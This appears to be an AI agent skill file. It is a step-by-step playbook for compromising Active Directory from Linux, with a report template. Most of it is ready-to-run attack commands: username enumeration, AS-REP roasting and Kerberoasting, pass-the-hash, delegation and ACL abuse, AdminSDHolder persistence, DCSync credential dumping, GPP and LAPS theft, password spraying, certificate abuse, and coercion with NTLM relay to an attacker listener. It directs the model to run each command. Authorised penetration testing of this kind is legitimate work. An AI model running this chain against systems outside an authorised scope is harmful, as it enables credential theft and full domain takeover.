AD Breach: Active Directory Attack Path Enumeration & Exploitation

A structured, iterative methodology for enumerating, analyzing, and compromising Active Directory environments from Linux. Starts from zero credentials and escalates to full domain compromise through enumeration, vulnerability discovery, and multi-stage exploitation chains. Every phase feeds into the next; each credential unlock cascades into deeper access.

When this skill is active, follow the phases in order but iterate: Phase 0 output feeds Phase 1, Phase 3 findings unlock Phase 4 abuses, Phase 5 credentials upgrade Phase 1, etc. Run each command, collect output, and build the final Markdown report incrementally. Always operate within scope and rules of engagement: AD attack tooling is intrusive, and some techniques (password spraying, DCSync, ticket forging, coercion attacks) can lock out accounts, trigger EDR alerts, or destabilize directory replication if misconfigured.

Pre-flight: Tool Check

Before starting, verify required tools are available:

for tool in nxc netexec crackmapexec impacket-GetNPUsers impacket-GetUserSPNs impacket-secretsdump impacket-psexec impacket-addcomputer ldapsearch kerbrute bloodhound-python certipy-ad smbclient rpcclient enum4linux-ng dig; do
  command -v $tool >/dev/null 2>&1 && echo "$tool OK" || echo "$tool MISSING"
done

nxc (NetExec) has replaced CrackMapExec upstream. If nxc is missing, use crackmapexec as fallback. Install missing tools:

# Impacket suite (comprehensive)
pipx install impacket

# NetExec (unified SMB/LDAP/Kerberos enum)
pipx install netexec

# BloodHound ingestor
pipx install bloodhound

# Certipy (AD CS enumeration/abuse)
pipx install certipy-ad

# kerbrute (silent Kerberos user enum, no event logs)
go install github.com/ropnop/kerbrute@latest

# enum4linux-ng (legacy RPC/RID fallback)
git clone https://github.com/cddmp/enum4linux-ng /opt/enum4linux-ng

Inform the user of any tools that could not be installed and note which phases will be skipped or degraded. Critical for AD breach: having nxc + bloodhound-python + impacket is the minimum viable toolkit; everything else is force-multiplier bonus.

Setup: Target Variables & Working Directory

DC_IP="<domain controller IP>"
DOMAIN="<domain.local>"        # FQDN, from Phase 0 if unknown at start
NETBIOS="<DOMAIN>"             # NetBIOS name, from SMB banner if not known
USER=""                        # username, blank if fully unauthenticated
PASS=""                        # password, leave blank if none
HASH=""                        # NTLM hash for pass-the-hash, format :NT or LM:NT
WORKDIR="/tmp/ad-breach/$DOMAIN"
mkdir -p "$WORKDIR"/{loot,bloodhound,tickets,secrets,relay}

echo "Target DC: $DC_IP | Domain: $DOMAIN | Auth: ${USER:-anonymous}"

Use these variables throughout. Update them as credentials are obtained in later phases: this skill is iterative: each phase's output can unlock the next. If you crack a password in Phase 3, re-run Phase 1 as that new principal. If you find DCSync rights in Phase 4, pivot to Phase 5 immediately.

Phase 0: Unauthenticated / Anonymous Enumeration

Goal: Establish domain identity, detect misconfigurations, enumerate valid usernames. No credentials required. This phase alone can yield valid accounts for Phase 3 attacks.

0.1 Domain identity via SMB, LDAP, DNS

nmap -p88,389,445,464,636,3268,3269 -sV "$DC_IP" -oN "$WORKDIR/loot/nmap-dc.txt"

# Domain name from SMB banner
nxc smb "$DC_IP" | tee "$WORKDIR/loot/nxc-smb-anon.txt"

# Domain name + forest from LDAP (null/anonymous bind test)
ldapsearch -x -H "ldap://$DC_IP" -s base namingcontexts 2>&1

# Forward/reverse DNS
dig -x "$DC_IP" @8.8.8.8
dig "$DOMAIN" @8.8.8.8

Record: NetBIOS name, FQDN, DC hostname, OS build, whether null auth/anonymous LDAP is enabled.

0.2 Null session / anonymous LDAP bind

nxc smb "$DC_IP" -u '' -p '' --shares
nxc smb "$DC_IP" -u 'guest' -p '' --shares

enum4linux-ng -A "$DC_IP" -oY "$WORKDIR/loot/enum4linux.yaml"

# Anonymous LDAP: list all users
ldapsearch -x -H "ldap://$DC_IP" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" '(objectClass=user)' sAMAccountName userAccountControl 2>&1 | tee "$WORKDIR/loot/ldap-anon-users.txt"

Flag as critical:

• Anonymous LDAP bind returning user objects
• Null-session SMB access to shares
• World-readable SYSVOL or NETLOGON

0.3 Username enumeration via Kerberos pre-auth (silent, no event logs)

Kerberos pre-auth enumeration doesn't log 4625 (failed logon) events: it only touches the KDC, not SAM. This is the lowest-noise way to discover valid usernames.

# Wordlist: combine rockyou + common AD usernames (admin, svc_, test_, etc.)
kerbrute userenum -d "$DOMAIN" --dc "$DC_IP" /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -o "$WORKDIR/loot/valid-users.txt" --delay 100ms

# RID cycling (alternative, requires null SMB session)
rpcclient -U "" -N "$DC_IP" -c "lookupnames administrator" 2>&1
for rid in $(seq 500 1200); do
  rpcclient -U "" -N "$DC_IP" -c "lookupsids S-1-5-21-<domain-sid>-$rid" 2>&1 | grep -v "SID does not"
done

Every valid username here feeds Phase 3 (AS-REP roasting): no password required, just a valid username. AS-REP roasting needs zero credentials, so it is valid to run Phase 3.1 immediately against this list rather than waiting for the phases in between; the ordering below groups commands by attack category, not by strict execution order.

0.4 Password policy & lockout threshold

Critical before Phase 5 (password spray). Exceeding the lockout threshold can lock accounts and burn your access.

nxc smb "$DC_IP" -u '' -p '' --pass-pol 2>&1 | tee "$WORKDIR/loot/pass-policy.txt"

Note: lockoutThreshold, lockOutObservationWindow, minPwdAge. If threshold is 0 (no lockout), password spraying is safer. If threshold is 5, never exceed 4 guesses per account per window.

0.5 Shares open to Everyone/Guest

nxc smb "$DC_IP" -u '' -p '' --shares
smbclient -N -L "//$DC_IP/" 2>&1

Flag: SYSVOL/NETLOGON readable is normal; anything else world-readable (BACKUP, ARCHIVE, DATA, etc.) is high-value. Check Phase 5.2 for GPP passwords in SYSVOL and Phase 5.3 for LAPS.

Phase 1: Authenticated Enumeration (Requires ≥1 Valid Credential)

Goal: Full LDAP sweep, forest structure, computer inventory, group memberships, effective permissions.

1.1 Validate credentials and check local admin access

nxc smb "$DC_IP" -u "$USER" -p "$PASS" 2>&1 | tee "$WORKDIR/loot/nxc-smb-auth.txt"

If output contains (Pwn3d!), this account is a local admin on the DC: jump directly to Phase 5 for credential dumping.

If you obtained an NTLM hash instead of a plaintext password (from Phase 3 cracking, Phase 5 secretsdump, or an existing engagement note), authenticate with $HASH instead of $PASS wherever the tooling supports it: pass the hash, don't crack it back to plaintext.

# NetExec: pass the hash
nxc smb "$DC_IP" -u "$USER" -H "$HASH" 2>&1 | tee "$WORKDIR/loot/nxc-smb-pth.txt"

# Impacket tools take the hash via -hashes LM:NT (use a blank LM half if only NT is known)
impacket-secretsdump "$DOMAIN/$USER"@"$DC_IP" -hashes "$HASH" -just-dc
impacket-psexec.py -hashes "$HASH" "$DOMAIN/$USER"@"$DC_IP"

1.2 Full LDAP enumeration via NetExec

nxc ldap "$DC_IP" -u "$USER" -p "$PASS" --bloodhound -c All --dns-server "$DC_IP" 2>&1 | tee "$WORKDIR/loot/ldap-full-enum.txt"

This is faster than raw ldapsearch and outputs in BloodHound-compatible JSON. If BloodHound module is misconfigured, fall back to raw ldapsearch:

ldapsearch -x -H "ldap://$DC_IP" -D "$USER@$DOMAIN" -w "$PASS" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" '(objectClass=*)' > "$WORKDIR/loot/ldap-full-dump.ldif"

1.3 Trust and forest structure

nxc ldap "$DC_IP" -u "$USER" -p "$PASS" -M enum_trusts 2>&1 | tee "$WORKDIR/loot/trusts.txt"

# Raw LDAP: trustedDomain objects (cross-forest/cross-domain trusts)
ldapsearch -x -H "ldap://$DC_IP" -D "$USER@$DOMAIN" -w "$PASS" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" '(objectClass=trustedDomain)' cn trustDirection trustType

Record: Every trust direction (inbound/outbound), transitive status, whether SID filtering is enabled. Cross-forest trusts with SID history enabled are escalation paths.

1.4 Domain computers, OUs, EOL systems

ldapsearch -x -H "ldap://$DC_IP" -D "$USER@$DOMAIN" -w "$PASS" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" '(objectClass=computer)' dNSHostName operatingSystem userAccountControl 2>&1 | grep -E "^dn:|dNSHostName|operatingSystem|userAccountControl"

Flag:

• operatingSystem containing "Windows 7", "Windows Server 2008", "Windows Server 2003" → EOL, likely unpatched, SMB/Kerberos weaknesses
• userAccountControl with 0x100000 (1048576 decimal) = TRUSTED_FOR_DELEGATION → unconstrained delegation risk

Phase 2: BloodHound Collection & Attack Graph Analysis

Goal: Turn LDAP data into graph queries for shortest paths to Domain Admin.

2.1 Collect via bloodhound-python

bloodhound-python -u "$USER" -p "$PASS" -d "$DOMAIN" -ns "$DC_IP" -c All --zip -o "$WORKDIR/bloodhound" 2>&1

Output: $WORKDIR/bloodhound/TIMESTAMP_bloodhound.zip containing JSON for Nodes (Users, Groups, Computers, Domains) and Relationships (MemberOf, HasSession, AdminTo, etc.).

Import into BloodHound (Community Edition / neo4j backend) and run built-in queries:

• Shortest Paths to Domain Admins
• Shortest Paths from Owned Objects (mark any compromised principal as "Owned" first via the context menu)
• Kerberoastable Users to Domain Admins
• Computers with Unconstrained Delegation
• Dangerous Inbound ACLs

2.2 Custom Cypher for attack path discovery

// All paths from current user to DA
MATCH p=shortestPath((u:User {name:"USER@DOMAIN"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"}))
RETURN p

// Kerberoastable users with a path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"}))
RETURN u.name, length(p)

// Any non-admin with dangerous ACE on DA group or users
MATCH (n)-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddMember|ForceChangePassword]->(m:Group {name:"DOMAIN ADMINS@DOMAIN"})
WHERE NOT n.name CONTAINS "DOMAIN ADMINS"
RETURN n.name, type(r), m.name

// Resources with unconstrained delegation
MATCH (c:Computer {unconstrained:true})
RETURN c.name, c.enabled

Critical: BloodHound shows what is possible, not what is guaranteed to work. An ACE exists, but is the target in Protected Users? Does LAPS randomization prevent credential reuse? Verify findings in Phases 3-5 before trusting them.

2.3 Manual ACL enumeration via dacledit.py

# Scan all objects for dangerous ACEs held by your current user
dacledit.py -action read -target-dn "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" -dc-ip "$DC_IP" "$DOMAIN/$USER:$PASS" 2>&1 | tee "$WORKDIR/loot/all-acls.txt"

# Specifically check protected groups
for target in "Domain Admins" "Enterprise Admins" "Administrators" "krbtgt"; do
  dacledit.py -action read -target "$target" -dc-ip "$DC_IP" "$DOMAIN/$USER:$PASS" 2>&1 | grep -E "ACE\[|Trustee|Access mask.*Full|Access mask.*Control|Access mask.*Write"
done

Phase 3: Kerberos Attacks

Goal: Extract crackable Kerberos hashes without ever touching password hashes on disk.

3.1 AS-REP Roasting (no credentials required)

Targets accounts with Do not require Kerberos preauthentication flag set (userAccountControl bit 0x400000). Works against usernames from Phase 0.3.

impacket-GetNPUsers "$DOMAIN/" -usersfile "$WORKDIR/loot/valid-users.txt" -no-pass -format hashcat -outputfile "$WORKDIR/tickets/asrep.hash" 2>&1

# Crack offline
hashcat -m 18200 "$WORKDIR/tickets/asrep.hash" /usr/share/wordlists/rockyou.txt -O

No passwords needed, no lockout risk, no event log.

3.2 Kerberoasting (requires ≥1 valid credential)

Targets service accounts (servicePrincipalName set). The TGS-REP is encrypted with the account's NTLM hash, which is crackable offline.

impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip "$DC_IP" -request -outputfile "$WORKDIR/tickets/spn.hash" 2>&1

# Crack (mode 13100 for RC4 TGS, 19700 for AES TGS)
hashcat -m 13100 "$WORKDIR/tickets/spn.hash" /usr/share/wordlists/rockyou.txt -O

Every cracked SPN account feeds Phase 4: check if they're in a privileged group.

3.3 Targeted Kerberoasting via writable SPN (self-service escalation)

If your current principal has GenericWrite/GenericAll on another user (from Phase 2/4), you can set an SPN on it even if it wasn't a service account originally, then roast it.

impacket-addspn.py -u "$DOMAIN\\$USER" -p "$PASS" -s "http/fake.example.com" "$DOMAIN\\TARGET_USER" -dc-ip "$DC_IP"

impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip "$DC_IP" -request -outputfile "$WORKDIR/tickets/targeted-spn.hash"
hashcat -m 13100 "$WORKDIR/tickets/targeted-spn.hash" /usr/share/wordlists/rockyou.txt

3.4 Resource-based Constrained Delegation abuse (RBCD) via Kerberos

If the current user has GenericWrite on a computer object, abuse RBCD:

# Check if we can add a computer account (default MachineAccountQuota is 10)
impacket-addcomputer.py "$DOMAIN/$USER:$PASS" -computer-name ATTACKERPC -computer-pass 'P@ssw0rd!' -dc-ip "$DC_IP"

# Configure RBCD on the target computer to trust our new machine
impacket-rbcd.py -delegate-from ATTACKERPC$ -delegate-to TARGETPC$ -action write "$DOMAIN/$USER:$PASS" -dc-ip "$DC_IP"

# Abuse: get an ST (service ticket) as any user (e.g. Administrator) to the target
impacket-getST.py -spn "cifs/targetpc.$DOMAIN" -impersonate Administrator "$DOMAIN/ATTACKERPC\$:P@ssw0rd!" -dc-ip "$DC_IP"

# Use the ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec.py -k -no-pass "$DOMAIN/Administrator@targetpc.$DOMAIN"

Phase 4: ACL Abuse & Dangerous Effective Permissions

Goal: Exploit GenericAll, WriteDacl, ForceChangePassword, and other ACEs for lateral movement / privilege escalation.

4.1 GenericAll on user: password reset or shadow credentials

# Direct password reset (requires GenericAll)
impacket-changepasswd.py "$DOMAIN/$USER:$PASS"@"$DC_IP" -newpass 'NewP@ssw0rd!' -altuser TARGET_USER

# OR: shadow credentials (PKINIT, no password change needed, less noisy)
certipy-ad shadow auto -u "$USER@$DOMAIN" -p "$PASS" -account TARGET_USER -dc-ip "$DC_IP"

4.2 GenericAll on group: add yourself as member

# Via LDAP (fastest)
python3 << 'EOF'
from ldap3 import Server, Connection, NTLM, MODIFY_ADD
s = Server("DC_IP")
c = Connection(s, user="DOMAIN\\USER", password="PASS", authentication=NTLM, auto_bind=True)
c.modify("CN=TARGET_GROUP,CN=Users,DC=...,DC=...", {'member': [(MODIFY_ADD, ["CN=YOUR_USER,OU=...,DC=...,DC=..."])]})
EOF

# Via SMB/RPC (fallback)
net rpc group addmem "TARGET_GROUP" "YOUR_USER" -U "$DOMAIN/$USER%$PASS" -S "$DC_IP"

4.3 WriteDacl: grant yourself GenericAll, then escalate

# Write an ACE granting yourself FullControl
dacledit.py -action write -target-dn "CN=TARGET_OBJECT,DC=...,DC=..." -principal "$USER" -rights FullControl -dc-ip "$DC_IP" "$DOMAIN/$USER:$PASS"

# Then abuse as GenericAll

4.4 Protected Groups (Domain Admins, Enterprise Admins, Administrators, krbtgt)

Important: These groups have adminCount=1 and are protected by SDProp (Security Descriptor Propagator). Every 60 minutes, their ACLs reset to match CN=AdminSDHolder,CN=System,DC=....

If you find GenericAll on a protected group:

1. Act within 60 minutes before SDProp wipes the ACE
2. Add yourself to the group via LDAP (Phase 4.2)
3. Verify immediately via remote LDAP read (not cached AD: provider)
4. For persistence: grant the ACE on AdminSDHolder itself so SDProp propagates it down instead of erasing it

dacledit.py -action write -target-dn "CN=AdminSDHolder,CN=System,DC=...,DC=..." -principal "$USER" -rights FullControl -dc-ip "$DC_IP" "$DOMAIN/$USER:$PASS"

Phase 5: Credential Harvesting & Lateral Movement

Goal: Extract credentials from every angle: LSASS, SAM, NTDS.dit, cached tickets, GPP passwords.

5.1 DCSync (full NTDS dump: domain compromise)

If your current principal has Replicating Directory Changes + Replicating Directory Changes All rights (either directly or via group membership, verified in Phase 2/4):

impacket-secretsdump "$DOMAIN/$USER:$PASS@$DC_IP" -just-dc -outputfile "$WORKDIR/secrets/dcsync"

Output: every user and computer hash in the domain. This is domain compromise.

5.2 GPP (Group Policy Preferences) passwords in SYSVOL

Legacy Group Policy Preferences store passwords in SYSVOL AES-encrypted with a published Microsoft key. Decryptable.

nxc smb "$DC_IP" -u "$USER" -p "$PASS" -M gpp_password 2>&1

# Manual: download from SYSVOL
smbclient -U "$USER%$PASS" "//$DC_IP/SYSVOL" -c 'recurse ON; prompt OFF; mget *.xml' -D "$WORKDIR/loot/gpp"

# Decrypt
grep -ril cpassword "$WORKDIR/loot/gpp" | while read f; do echo "=== $f ===" && strings "$f" | grep cpassword; done

5.3 LAPS (Local Administrator Password Solution) readers

If a non-privileged user has read access to ms-Mcs-AdmPwd (LAPS), they can read every computer's local admin password.

nxc ldap "$DC_IP" -u "$USER" -p "$PASS" -M laps 2>&1

5.4 Cached credentials & LSASS (requires local admin)

impacket-secretsdump "$DOMAIN/$USER:$PASS@$TARGET_HOST" -outputfile "$WORKDIR/secrets/lsass-dump"

5.5 Password spraying (low-noise, requires lockout threshold awareness)

Before running this, re-read $WORKDIR/loot/pass-policy.txt from Phase 0.4. If lockoutThreshold is nonzero, spray at most lockoutThreshold - 1 guesses per account inside one lockOutObservationWindow, and confirm this is within rules of engagement first.

# Test ONE password against all users (lowest noise)
nxc smb "$DC_IP" -u "$WORKDIR/loot/valid-users.txt" -p 'Winter2024!' --continue-on-success 2>&1 | tee "$WORKDIR/loot/spray-results.txt"

# Common patterns: Company+Year, Seasonal, Default+Sequence
# Examples: Acme@2024, Spring2024, Admin123, Password1

Phase 6: AD CS (Certificate Services) & ESC1-ESC8

Goal: Find and exploit AD CS misconfigurations for certificate-based authentication bypass.

certipy-ad find -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -vulnerable -stdout 2>&1 | tee "$WORKDIR/loot/adcs-enum.txt"

# ESC1: request cert as Administrator
certipy-ad req -u "$USER@$DOMAIN" -p "$PASS" -ca CANAME -template VULNTEMPLATE -upn administrator@$DOMAIN -dc-ip "$DC_IP"

# Authenticate using the cert (PKINIT)
certipy-ad auth -pfx administrator.pfx -dc-ip "$DC_IP"

Phase 7: Coercion Attacks & NTLM Relay (Advanced)

Goal: Force DC/high-value account to authenticate to a relay listener, then modify LDAP or AD CS.

7.1 Authentication coercion vectors

PetitPotam (MS-EFSRPC):

python3 petitpotam.py -u "$USER" -p "$PASS" "<attacker-listener-ip>" "$DC_IP"

PrinterBug (MS-RPRN):

python3 printerbug.py "<attacker-listener-ip>" "$DC_IP" -u "$USER" -p "$PASS"

DFSCoerce (MS-DFSNM):

python3 dfscoerce.py -u "$USER" -p "$PASS" "<attacker-listener-ip>" "$DC_IP"

7.2 NTLM relay to LDAP

# Start relay listener (on your attacker machine)
impacket-ntlmrelayx.py -t ldap://"$DC_IP" -l "$WORKDIR/relay" --no-dump --no-da -wh attacker-ip

# Trigger coercion in another terminal
python3 petitpotam.py -u "$USER" -p "$PASS" "attacker-ip" "$DC_IP"

On success, ntlmrelayx will add a new machine account or grant ACEs to your user.

Phase 8: Persistence Indicator Detection

Goal: Hunt for signs of prior compromise or backdoor setup.

# AdminSDHolder tampering
ldapsearch -x -H "ldap://$DC_IP" -D "$USER@$DOMAIN" -w "$PASS" -b "CN=AdminSDHolder,CN=System,DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" nTSecurityDescriptor 2>&1

# DSRM (Directory Services Restore Mode) account
nxc ldap "$DC_IP" -u "$USER" -p "$PASS" -M dsrm 2>&1

# SID History on users outside migration window
nxc ldap "$DC_IP" -u "$USER" -p "$PASS" -M sidhistory 2>&1

# krbtgt password age (golden ticket exposure window)
ldapsearch -x -H "ldap://$DC_IP" -D "$USER@$DOMAIN" -w "$PASS" -b "CN=krbtgt,CN=Users,DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" pwdLastSet

Phase 9: Output: Structured Markdown Report

Produce the following report, filling every section with findings from Phases 0-8:

# AD Breach Report

**Domain:** `<domain.local>` (NetBIOS: `<DOMAIN>`)
**Domain Controller:** `<hostname>` (`<IP>`): `<OS build>`
**Starting access:** `<unauthenticated / username@domain>`
**Ending access:** `<highest privilege obtained>`
**Analysis date:** `<YYYY-MM-DD>`

---

## Risk Summary

| Category | Findings | Highest Severity | Remediation Priority |
|---|---|---|---|
| Kerberos Weaknesses (AS-REP, Kerberoasting, RBCD) | N | Critical / High / Medium | Immediate |
| ACL & Delegation Abuse | N | ... | ... |
| Credential Exposure (GPP, LAPS, cached) | N | ... | ... |
| AD CS Misconfiguration (ESC1-8) | N | ... | ... |
| Persistence Indicators | N | ... | ... |
| Password Spray / Brute Force | N | ... | ... |
| Trust Abuse / Cross-Forest | N | ... | ... |
| **Total** | **N** | **Critical / High / Medium** | **N/A** |

**Overall Risk Rating:** [Critical / High / Medium / Low]  
**Path to Domain Admin Found:** [Yes: N steps / No / Partial]

---

## 1. Domain Overview

| Property | Value |
|---|---|
| Forest / Domain | |
| Domain Functional Level | |
| Forest Functional Level | |
| Domain Controllers | |
| Trusts (count / types) | |
| EOL/Unpatched hosts | |
| Configured LAPS | |

---

## 2. Credential Status

| Account | Source | Privilege Level | Status |
|---|---|---|---|
| | | | Cracked / Exploited / Obtained |

---

## 3. Kerberos Findings

### 3.1 AS-REP Roastable Accounts (no pre-auth)

| Account | Cracked | Hash Type | Group Membership |
|---|---|---|---|

### 3.2 Kerberoastable Accounts (SPN set)

| Account | SPN | Cracked | Password | Group Membership |
|---|---|---|---|---|

### 3.3 Constrained / Unconstrained Delegation

| Computer | Type | Delegate Target | Exploitable |
|---|---|---|---|

---

## 4. ACL & Permission Findings

| Principal | Right | Target | Impact | Exploited |
|---|---|---|---|---|
| | GenericAll / WriteDacl / WriteOwner / AddMember / ... | | Critical / High / Medium | Yes / No |

---

## 5. Credential Exposure

| Type | Source | Value (truncated) | Severity |
|---|---|---|---|
| NTLM Hash | DCSync / LSASS / NTDS | aad3b435b51404ee... | Critical |
| Plaintext Password | GPP / LAPS / cached | P@ssw****** | High |

---

## 6. AD CS Findings (if applicable)

| Template / CA | ESC Class | Exploitable By | Severity |
|---|---|---|---|

---

## 7. MITRE ATT&CK Mapping

| Finding | Technique | Tactic | Severity |
|---|---|---|---|
| Kerberoastable service account | T1558.003 | Credential Access | Critical |
| GenericAll on Domain Admins | T1098 / T1484 | Persistence / Privilege Escalation | Critical |

---

## 8. Attack Path Summary

**Shortest verified path to Domain Admin:** [N steps]

**Top 3 findings to remediate immediately:**
1. [Most critical]
2. [Second]
3. [Third]

**Suggested next steps:**
- Credential rotation required: [list]
- ACL remediation: [list]
- Further testing: [patch validation, trust hardening, coercion surface]

Known Detection Gaps

Remote ACL inspection: Tools like dacledit.py and PowerView.py may fail to detect GenericAll on protected objects due to LDAP filtering. If Phase 4 returns no findings but privilege escalation is suspected, verify manually on the DC via PowerShell Get-Acl "AD:\...".

Password pattern guessing: Before large sprays, try organization-specific patterns (Company@YEAR, seasonal terms, role-based sequences). A single well-guessed password is faster than a full spray and avoids lockout.

Relay surface: NTLM relay attacks require:

1. Disabled LDAP signing / channel binding (check Phase 0)
2. A coercion vector that works in the target's environment
3. Firewall/network path from target to your relay listener

Reference Files

• references/ad-attack-patterns.md: Complete command/tool reference for every attack primitive (Kerberoasting, ACL abuse, delegation, AD CS, NTLM relay, coercion). Severity ratings, tool syntax, and real-world exploitation code.
• references/attck-ad-mapping.md: MITRE ATT&CK technique-to-finding mapping with remediation guidance per technique. Use to tag findings for SOC/incident-response reporting.